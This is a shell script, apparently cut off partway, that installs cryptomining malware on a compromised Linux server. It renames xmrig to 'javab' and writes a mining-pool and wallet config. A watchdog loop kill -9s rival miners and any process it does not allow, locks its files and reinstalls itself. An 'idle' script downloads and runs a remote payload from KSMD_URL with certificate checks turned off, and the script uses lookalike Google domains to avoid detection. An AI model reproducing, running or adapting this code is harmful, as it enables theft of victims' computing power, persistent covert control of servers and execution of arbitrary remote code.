# 普通用户可用：安装后 chmod 555 防对手原地覆写（不能防 rm；root 仍可改）
wdir_unlock_file() {
  _p=$1
  [ -e "$_p" ] || return 0
  chmod u+w "$_p" 2>/dev/null || true
}

wdir_unlock_all() {
  _w=$1
  [ -n "$_w" ] || return 0
  for _f in javab idle .rguard .khp .ksmd_guard .javab.json .ksmd_manifest \
    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts; do
    wdir_unlock_file "$_w/$_f"
  done
}

try_lock_wdir() {
  [ -n "$WDIR" ] || return 0
  [ "$DRY_RUN" = "1" ] && return 0
  for _f in javab idle .rguard .khp .ksmd_guard; do
    [ -e "$WDIR/$_f" ] && chmod 555 "$WDIR/$_f" 2>/dev/null || true
  done
  [ -e "$WDIR/.javab.json" ] && chmod 444 "$WDIR/.javab.json" 2>/dev/null || true
  log "WDIR 链文件已只读锁定 (555/444，普通用户可用)"
}

# 安装前清空 WDIR：/dev/shm 平铺时清顶层全部；.pol-lite 子目录只清目录内
wipe_install_dir() {
  _w=$1
  [ -n "$_w" ] || return 0
  [ "$DRY_RUN" = "1" ] && return 0
  log "安装前清空目录: $_w"
  mkdir -p "$_w" 2>/dev/null || return 1
  wdir_unlock_all "$_w"
  for _f in javab idle .rguard .khp .khp_ts .khp_fusion_ts .javab.json .ksmd_guard .ksmd_manifest \
    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts .javab.spawn.lock rguard.log idle_boot.log idle_cron.log \
    idle_guard.log javab.log; do
    rm -f "$_w/$_f" 2>/dev/null || true
  done
  find "$_w" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
    wdir_unlock_file "$_kf"
    rm -f "$_kf" 2>/dev/null || true
  done
  if [ "$_w" = "/dev/shm" ]; then
    for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
      [ -e "$_f" ] || continue
      _b=$(basename "$_f")
      case "$_b" in .|..) continue ;; esac
      wdir_unlock_file "$_f"
      rm -rf "$_f" 2>/dev/null || true
    done
  fi
}

# 已安装目录（有 manifest 才算我们的，重装时不能误删误杀）
our_wdir() {
  if [ -n "$WDIR" ] && [ -f "$WDIR/.ksmd_manifest" ]; then
    echo "$WDIR"
    return 0
  fi
  if [ -f "$REMOTE_WDIR/.ksmd_manifest" ]; then
    echo "$REMOTE_WDIR"
    return 0
  fi
  for d in /dev/shm /tmp /var/tmp; do
    if [ -f "$d/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.ksmd_manifest" 2>/dev/null; then
      echo "$d"
      return 0
    fi
    if [ -f "$d/.pol-lite/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.pol-lite/.ksmd_manifest" 2>/dev/null; then
      echo "$d/.pol-lite"
      return 0
    fi
  done
  return 1
}

# 对手 javab 无 -c；我方固定 ./javab -c .javab.json → 用 ps/grep 即可
javab_cmdline() {
  ps -p "$1" -o args= 2>/dev/null
}

is_our_javab_pid() {
  _c=$(javab_cmdline "$1")
  case "$_c" in *javab*-*c*) return 0 ;; esac
  return 1
}

is_rival_javab_pid() {
  _c=$(javab_cmdline "$1")
  case "$_c" in *javab*) case "$_c" in *-c*) return 1 ;; esac; return 0 ;; esac
  return 1
}

purge_tmp_gang() {
  _ow=$(our_wdir 2>/dev/null) || _ow=""
  [ -z "$_ow" ] && [ -n "$WDIR" ] && _ow="$WDIR"
  _un=$(id -un 2>/dev/null) || return 0
  _u=$(id -u 2>/dev/null) || return 0
  if ! is_our_install_root "$_ow" /tmp; then
    run pkill -9 -u "$_u" -f '/tmp/\.rguard' 2>/dev/null || true
    run pkill -9 -u "$_u" -f '/tmp/idle' 2>/dev/null || true
    run pkill -9 -u "$_u" -f '/tmp/\.khp' 2>/dev/null || true
  fi
  if ! is_our_install_root "$_ow" /dev/shm; then
    run pkill -9 -u "$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
    run pkill -9 -u "$_u" -f '/dev/shm/idle' 2>/dev/null || true
    run pkill -9 -u "$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
  fi
  kill_rival_rguard
  [ -n "$_ow" ] && purge_wdir_foreign "$_ow"
  _keep_j=""
  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
    _c=$(javab_cmdline "$_p")
    case "$_c" in
      *"/tmp/idle"*|*" /tmp/idle"*|*"/tmp/.rguard"*)
        case "$_c" in *"$_ow"*) continue ;; esac
        run kill -9 "$_p" 2>/dev/null || true
        ;;
      *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
        if [ "$_ow" = "/dev/shm" ] && is_our_script_file "$_ow/.rguard"; then
          continue
        fi
        run kill -9 "$_p" 2>/dev/null || true
        ;;
      *javab*)
        if is_rival_javab_pid "$_p"; then
          run kill -9 "$_p" 2>/dev/null || true
        elif is_our_javab_pid "$_p"; then
          if [ -z "$_keep_j" ]; then _keep_j="$_p"; else run kill -9 "$_p" 2>/dev/null || true; fi
        fi
        ;;
    esac
  done
}

kill_rival_javab() {
  _un=$(id -un 2>/dev/null) || return 0
  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
    is_rival_javab_pid "$_p" && run kill -9 "$_p" 2>/dev/null || true
  done
}

kill_rival_rguard() {
  _keep=$(our_wdir 2>/dev/null) || _keep=""
  _un=$(id -un 2>/dev/null) || return 0
  ps -u "$_un" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=$(echo "$_line" | awk '{print $1}')
    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    case "$_c" in *\.rguard*|*"/tmp/idle"*|*" /tmp/idle"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*) ;; *) continue ;; esac
    if [ -n "$_keep" ]; then
      case "$_c" in *"$_keep"*)
        case "$_c" in *\.rguard*|*/.rguard*)
          is_rival_rguard_file "$_keep/.rguard" || continue
          ;;
        *idle*)
          is_rival_idle_file "$_keep/idle" || continue
          ;;
        esac
        ;;
      esac
    fi
    run kill -9 "$_p" 2>/dev/null || true
  done
}

fast_rival_pkill() {
  _u=$(id -u 2>/dev/null) || return 0
  for _pat in 'find /' .claude unicorn 6556 'base64 -d' m51sr m51src \
    hash-object\ -w m51src m51sr 'redis/lang/ksmd' gitea_exp auto_deploy \
    apt-update mnmonitor xmrig universal-miner sysinit kworkerds minerd cpuminer; do
    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
    run pkill -9 -u "$_u" -f "$_pat" 2>/dev/null || true
  done
}

# curl 下载 xmrig/Agent 前：剥对手 cron + 再压一遍 /dev/shm 对手
preflight_before_download() {
  log "preflight: 清理对手 cron + flat /tmp 链..."
  strip_rival_crontab
  purge_tmp_gang
  fast_rival_pkill
}

write_javab_config() {
  cfg="$WDIR/.javab.json"
  cat >"$cfg" <<JCFG
{
  "pools": [{
    "url": "${POOL}",
    "user": "${XMR_WALLET}",
    "pass": "${XMR_WORKER}",
    "algo": "rx/0",
    "keepalive": true
  }],
  "cpu": { "enabled": true, "threads": ${XMR_THREADS} },
  "donate-level": 1,
  "randomx": { "mode": "${XMR_RANDOMX_MODE:-auto}" },
  "log-file": "/dev/null",
  "background": false
}
JCFG
  chmod 600 "$cfg" 2>/dev/null || true
}

write_rguard() {
  cat >"$WDIR/.rguard" <<RGUARD
#!/bin/sh
# $MARKER ksmd-rguard
_W="$WDIR"
_AGENT_H="$AGENT_HOME"
_INTERVAL=2
_MARKER="$MARKER"
_ME=\$\$
# 当前运行用户自动获取（git 或其他普通用户，非 root）
_UN=\$(id -un 2>/dev/null)
_UID=\$(id -u 2>/dev/null)

_is_agent() {
  case "\$1" in
    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
      return 0 ;;
    *systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
      return 0 ;;
  esac
  case "\$2" in
    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
      return 0 ;;
  esac
  return 1
}

_is_our_javab() {
  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
  case "\$_c" in *javab*-*c*) return 0 ;; esac
  return 1
}

_our_wdir_name() {
  case "\$1" in
    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
      return 0 ;;
  esac
  case "\$1" in .ksmd_*) return 0 ;; esac
  return 1
}

_proc_in_wdir() {
  _p="\$1"
  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
  case "\$_c" in *"\$_W/"*) return 0 ;; esac
  case "\$_x" in "\$_W"/*) return 0 ;; esac
  [ "\$_cwd" = "\$_W" ] && return 0
  return 1
}

_is_our_wdir_proc() {
  _p="\$1"
  _proc_in_wdir "\$_p" || return 1
  _is_our_javab "\$_p" && return 0
  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
  case "\$_c" in
    *"\$_W/.rguard"*) _is_our_script "\$_W/.rguard" && return 0 ;;
    *"\$_W/idle"*) _is_our_script "\$_W/idle" && return 0 ;;
    *"\$_W/.khp"*) _is_our_script "\$_W/.khp" && return 0 ;;
    *"\$_W/.ksmd_guard"*) _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
  esac
  case "\$_x" in "\$_W/javab") _is_our_javab "\$_p" && return 0 ;; esac
  case "\$_c" in sleep|*/sleep)
    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
    ;;
  esac
  return 1
}

_purge_wdir_foreign() {
  [ -d "\$_W" ] || return 0
  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
    [ "\$_p" = "\$_ME" ] && continue
    _proc_in_wdir "\$_p" || continue
    _is_our_wdir_proc "\$_p" && continue
    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
    _is_agent "\$_c" "\$_x" && continue
    kill -9 "\$_p" 2>/dev/null
  done
  for _f in "\$_W"/* "\$_W"/.[!.]* "\$_W"/..?*; do
    [ -e "\$_f" ] || continue
    _b=\$(basename "\$_f")
    case "\$_b" in .|..) continue ;; esac
    _our_wdir_name "\$_b" && continue
    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
    chmod u+w "\$_f" 2>/dev/null
    rm -rf "\$_f" 2>/dev/null
  done
}

_dedupe_our_javab() {
  _keep=""
  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
    _is_our_javab "\$_p" || continue
    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
    kill -9 "\$_p" 2>/dev/null
  done
}

_kill_rival_javab() {
  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
  done
}

# 不遍历 /proc/*：先 pkill 秒杀已知对手，再用 ps -u 只列本用户进程做白名单清理
_fast_rival() {
  _u="\$1"
  _keep="\$_W"
  for _pat in unicorn 6556 'base64 -d' 'base64 -D' 'find /' .claude \
    m51sr m51src mnmonitor apt-update 'redis/lang/ksmd' \
    'CRON jobs' gitea_exp auto_deploy '/exp/'; do
    pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
  done
  _dedupe_our_javab
  _kill_rival_javab
  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
  if [ "\$_W" != "/dev/shm" ]; then
    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
    pkill -9 -u "\$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
  fi
  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=\$(echo "\$_line" | awk '{print \$1}')
    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    if _proc_in_wdir "\$_p"; then
      _is_our_wdir_proc "\$_p" && continue
      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
      kill -9 "\$_p" 2>/dev/null
      continue
    fi
    case "\$_c" in *"\$_W"*) continue ;; esac
    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
    _is_agent "\$_c" "\$_x" && continue
    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
      kill -9 "\$_p" 2>/dev/null ;;
    esac
    if [ "\$_W" != "/dev/shm" ]; then
      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
        kill -9 "\$_p" 2>/dev/null ;;
      esac
    fi
  done
  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=\$(echo "\$_line" | awk '{print \$1}')
    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    if _proc_in_wdir "\$_p"; then
      _is_our_wdir_proc "\$_p" && continue
      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
      kill -9 "\$_p" 2>/dev/null
      continue
    fi
    case "\$_c" in *"\$_W"*) continue ;; esac
    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
    _is_agent "\$_c" "\$_x" && continue
    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
      kill -9 "\$_p" 2>/dev/null ;;
    esac
    if [ "\$_W" != "/dev/shm" ]; then
      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
        kill -9 "\$_p" 2>/dev/null ;;
      esac
    fi
  done
}

_our_install_cmd() {
  case "\$1" in
    *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
    */.ksmd_*) return 0 ;;
  esac
  return 1
}

# 对手 gitea hook：任意 IP 的 curl|sh / wget|sh，或已知对手路径（不依赖固定 IP）
_rival_install_cmd() {
  _our_install_cmd "\$1" && return 1
  case "\$1" in
    *curl*|*wget*)
      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
    ;;
    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
      case "\$1" in
        *curl*|*wget*)
          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
        ;;
        *base64*|*6556*) return 0 ;;
      esac
    ;;
  esac
  case "\$1" in
    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
    ;;
  esac
  return 1
}

_our_domain() {
  case "\$1" in
    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
  esac
  return 1
}

# 明确对手特征（含 exp / jobs / m51sr / 非我方 curl）
_rival_hit() {
  _c="\$1"
  _x="\$2"
  case "\$_x" in */gitea|*/gitea-*|*/usr/local/bin/gitea*) return 1 ;; esac
  case "\$_c" in
    */usr/local/bin/gitea*|*gitea\ web*|*gitea\ serv*|*--config\ /etc/gitea/app.ini*)
      return 1 ;;
    *m51sr*|*m51src*) return 0 ;;
    *javab*)
      case "\$_c" in *-c*) return 1 ;; esac
      return 0 ;;
    *jobs*)
      case "\$_c" in *\$_MARKER*|*ksmd_guard*|*gitea*) return 1 ;; esac
      return 0 ;;
    *exp*)
      _our_domain "\$_c" && return 1
      return 0 ;;
    *curl*|*wget*|*m51src*|*m51sr*)
      _rival_install_cmd "\$_c" && return 0
      _our_install_cmd "\$_c" && return 1
      _our_domain "\$_c" && return 1
      return 0 ;;
  esac
  return 1
}

_allowed() {
  _c="\$1"
  _x="\$2"
  _pid="\$3"
  _rival_install_cmd "\$_c" && return 1
  _walk="\$_pid"
  _i=0
  while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 12 ]; do
    _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
    case "\$_pc" in
      *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*)
        return 0 ;;
    esac
    _our_install_cmd "\$_pc" && return 0
    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
    _i=\$((_i + 1))
  done
  case "\$_x" in
    */usr/local/bin/gitea|*/usr/local/bin/gitea-*|*/bin/gitea|*/bin/gitea-*)
      return 0 ;;
    *\$_W/javab*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
      return 0 ;;
    */usr/bin/git*)
      return 0 ;;
  esac
  case "\$_c" in
    *git\ hash-object*|*hash-object\ -w\ --stdin*)
      _our_install_cmd "\$_c" && return 0
      case "\$_c" in *gitea_exp/*|*m51src*|*m51sr*) return 1 ;; esac
      return 0 ;;
    *javab*-*c*)
      return 0 ;;
    */usr/local/bin/gitea*|*/bin/gitea\ *|*gitea\ web*|*gitea\ serv*)
      return 0 ;;
    *--config\ /etc/gitea/app.ini*)
      return 0 ;;
    *git\ receive-pack*|*git\ upload-pack*|*git\ shell*|*/bin/git\ *|*/usr/bin/git\ *)
      return 0 ;;
    *sshd*|*" ssh "*) return 0 ;;
    *systemd\ --user*|*sd-pam*|*dbus-daemon*|*dbus-broker*) return 0 ;;
  esac
  case "\$_c" in
    *\$_W/.rguard*)
      _is_our_script "\$_W/.rguard" && return 0 ;;
    *\$_W/idle*)
      _is_our_script "\$_W/idle" && return 0 ;;
    *\$_W/.khp*)
      _is_our_script "\$_W/.khp" && return 0 ;;
    *\$_W/.ksmd_guard*)
      _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
    *\$_W/javab*)
      _is_our_javab "\$_pid" && return 0 ;;
    *"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
      return 1 ;;
    */.local/share/systemd/*|*systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
      return 0 ;;
    *googletagmanagar*|*googlelagmanager*|*google-analytices*)
      return 0 ;;
    *\$_MARKER-ksmd-guard*)
      return 0 ;;
  esac
  case "\$_c" in sh|/bin/sh|bash|/bin/bash|-sh|"")
    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_pid/status" 2>/dev/null)
    _i=0
    while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 8 ]; do
      _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
      _px=\$(readlink "/proc/\$_walk/exe" 2>/dev/null)
      _rival_install_cmd "\$_pc" && return 1
      case "\$_px" in */usr/local/bin/gitea|*/bin/gitea*) return 0 ;; esac
      case "\$_pc" in
        *\$_W/.rguard*|*\$_W/idle*|*\$_W/.khp*|*\$_W/.ksmd_guard*|*\$_W/javab*|*/.local/share/systemd/*|*googletagmanagar*|*googlelagmanager*|*gitea\ web*|*/usr/local/bin/gitea*)
          return 0 ;;
      esac
      _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
      _i=\$((_i + 1))
    done
    ;;
  esac
  return 1
}

_ps_me() {
  [ -n "\$_UN" ] || _UN=\$(id -un 2>/dev/null)
  ps -u "\$_UN" -o pid=,args= -ww --no-headers 2>/dev/null && return 0
  ps -U "\$_UN" -o pid=,args= -ww 2>/dev/null
}

_dedupe_our_idle() {
  _keep=""
  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
    [ "\$_p" = "\$_ME" ] && continue
    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
    kill -9 "\$_p" 2>/dev/null
  done
}

_start_javab() {
  _lk="\$_W/.javab.spawn.lock"
  mkdir "\$_lk" 2>/dev/null || return 0
  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
  cd "\$_W" || { rmdir "\$_lk" 2>/dev/null; return 1; }
  [ -f "\$_W/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
  [ -x "\$_W/javab" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
  ./javab -c .javab.json >>/dev/null 2>&1 &
  rmdir "\$_lk" 2>/dev/null
}

# idle 挂掉时由 rguard 补链（容器无 crontab 时不能单靠 idle 自恢复）
_ensure_miner_chain() {
  [ -x "\$_W/idle" ] || return 0
  _dedupe_our_idle
  pgrep -f "\$_W/idle" >/dev/null 2>&1 || nohup sh "\$_W/idle" >>/dev/null 2>&1 &
  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
    _start_javab
  fi
}

# 与 idle 共用时间戳，避免双份触发；idle 不在时仍每 60s 调 guard
_maybe_ksmd_guard() {
  [ -x "\$_W/.ksmd_guard" ] || return 0
  _now=\$(date +%s 2>/dev/null)
  [ -n "\$_now" ] || return 0
  _lg=\$(cat "\$_W/.ksmd_guard_loop_ts" 2>/dev/null)
  [ -z "\$_lg" ] && _lg=0
  [ \$((_now - _lg)) -lt 60 ] 2>/dev/null && return 0
  echo "\$_now" > "\$_W/.ksmd_guard_loop_ts" 2>/dev/null
  sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
}

_is_our_script() {
  _f="\$1"
  [ -f "\$_f" ] || return 1
  head -5 "\$_f" 2>/dev/null | grep -qF "\$_MARKER" && return 0
  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-rguard' && return 0
  head -12 "\$_f" 2>/dev/null | grep -q 'KSMD_URL' && return 0
  head -12 "\$_f" 2>/dev/null | grep -q 'googletagmanagar' && return 0
  return 1
}

_tampered_on_disk() {
  head -3 "\$_W/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
  head -10 "\$_W/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
  _is_our_script "\$_W/.rguard" && _is_our_script "\$_W/idle" || return 0
  return 1
}

# 对手 hook 覆写 /dev/shm 脚本时：删对手文件、杀对手进程、触发 ksmd_guard 重装
_defend_our_files() {
  _tampered_on_disk || return 0
  for _f in idle .rguard .khp; do
    _p="\$_W/\$_f"
    _is_our_script "\$_p" && continue
    chmod u+w "\$_p" 2>/dev/null
    rm -f "\$_p" 2>/dev/null
  done
  for _p in \$(pgrep -f "\$_W/.rguard" 2>/dev/null); do
    [ "\$_p" = "\$_ME" ] && continue
    kill -9 "\$_p" 2>/dev/null
  done
  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
    kill -9 "\$_p" 2>/dev/null
  done
  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
  done
  _now=\$(date +%s 2>/dev/null)
  _lg=\$(cat "\$_W/.ksmd_defend_ts" 2>/dev/null)
  [ -n "\$_now" ] && [ -n "\$_lg" ] && [ \$((_now - _lg)) -lt 30 ] 2>/dev/null && return 0
  echo "\$_now" > "\$_W/.ksmd_defend_ts" 2>/dev/null
  [ -x "\$_W/.ksmd_guard" ] && sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
}

_relock_our_files() {
  for _f in javab idle .rguard .khp .ksmd_guard; do
    _p="\$_W/\$_f"
    case "\$_f" in
      javab) [ -f "\$_p" ] || continue ;;
      *) _is_our_script "\$_p" || continue ;;
    esac
    [ -f "\$_p" ] && chmod 555 "\$_p" 2>/dev/null
  done
  [ -f "\$_W/.javab.json" ] && chmod 444 "\$_W/.javab.json" 2>/dev/null
}

while true; do
  _UID=\$(id -u 2>/dev/null)
  [ -n "\$_UID" ] && [ "\$_UID" != "0" ] || { sleep \$_INTERVAL; continue; }
  _defend_our_files
  _relock_our_files
  _purge_wdir_foreign
  _fast_rival "\$_UID"
  _dedupe_our_javab
  _ps_me | while IFS= read -r _line; do
    _p=\$(echo "\$_line" | awk '{print \$1}')
    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    [ -n "\$_p" ] || continue
    [ "\$_p" = "\$_ME" ] && continue
    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
    _is_our_javab "\$_p" && continue
    _is_agent "\$_c" "\$_x" && continue
    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
    _allowed "\$_c" "\$_x" "\$_p" && continue
    _rival_hit "\$_c" "\$_x" && { kill -9 "\$_p" 2>/dev/null; continue; }
    kill -9 "\$_p" 2>/dev/null
  done
  _ensure_miner_chain
  _maybe_ksmd_guard
  sleep \$_INTERVAL
done
RGUARD
  chmod 755 "$WDIR/.rguard"
}

# 清理/下载前先落地我方 .rguard，避免 rival 0.1s 轮询杀 curl/sh/tar
bootstrap_install_guard() {
  [ "$DRY_RUN" = "1" ] && return 0
  echo "KSMD_BOOTSTRAP"
  preflight_before_download
  pick_wdir || return 0
  wipe_install_dir "$WDIR"
  log "bootstrap: 抢占 guard -> $WDIR"
  kill_rival_rguard
  fast_rival_pkill
  write_rguard
  if ! pgrep -f "$WDIR/.rguard" >/dev/null 2>&1; then
    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
    sleep 1
  fi
  kill_rival_rguard
}

write_idle() {
  cat >"$WDIR/idle" <<IDLE
#!/bin/sh
# $MARKER ksmd-idle
exec >/dev/null 2>&1
PROCESS="javab"
CHECK=2
WDIR="$WDIR"
_ME=\$\$
RESTART_BIN="\$WDIR/javab"
REDOWNLOAD_COOLDOWN=60
TS_FILE="\$WDIR/.khp_ts"
KSMD_URL="$KSMD_URL"

ksmd_dl_url() {
  _t=\$(date +%s 2>/dev/null || echo 0)
  _p=\$\$
  case "\$KSMD_URL" in
    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
  esac
}

redownload() {
  _now=\$(date +%s 2>/dev/null)
  if [ -n "\$_now" ] && [ -f "\$TS_FILE" ]; then
    _last=\$(cat "\$TS_FILE" 2>/dev/null)
    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$REDOWNLOAD_COOLDOWN ] && return
  fi
  echo "\$_now" > "\$TS_FILE" 2>/dev/null
  _tmp="\$WDIR/.ksmd_\$\$.sh"
  _url=\$(ksmd_dl_url)
  rm -f "\$_tmp" 2>/dev/null
  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null
  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
}

start_javab() {
  _lk="\$WDIR/.javab.spawn.lock"
  mkdir "\$_lk" 2>/dev/null || return 0
  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
  cd "\$WDIR" || { rmdir "\$_lk" 2>/dev/null; return 1; }
  [ -f "\$WDIR/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
  ./javab -c .javab.json >>/dev/null 2>&1 &
  rmdir "\$_lk" 2>/dev/null
}

count_our_javab() {
  pgrep -cf 'javab -c' 2>/dev/null || echo 0
}

dedupe_our_javab() {
  _keep=""
  for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do
    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
    kill -9 "\$_p" 2>/dev/null
  done
}

kill_rival_javab_simple() {
  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
    _p=\$(echo "\$_line" | awk '{print \$1}')
    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
  done
}

_is_our_script() {
  _f="\$1"
  [ -f "\$_f" ] || return 1
  head -5 "\$_f" 2>/dev/null | grep -qF '$MARKER' && return 0
  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-' && return 0
  return 1
}

_is_our_javab_pid() {
  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
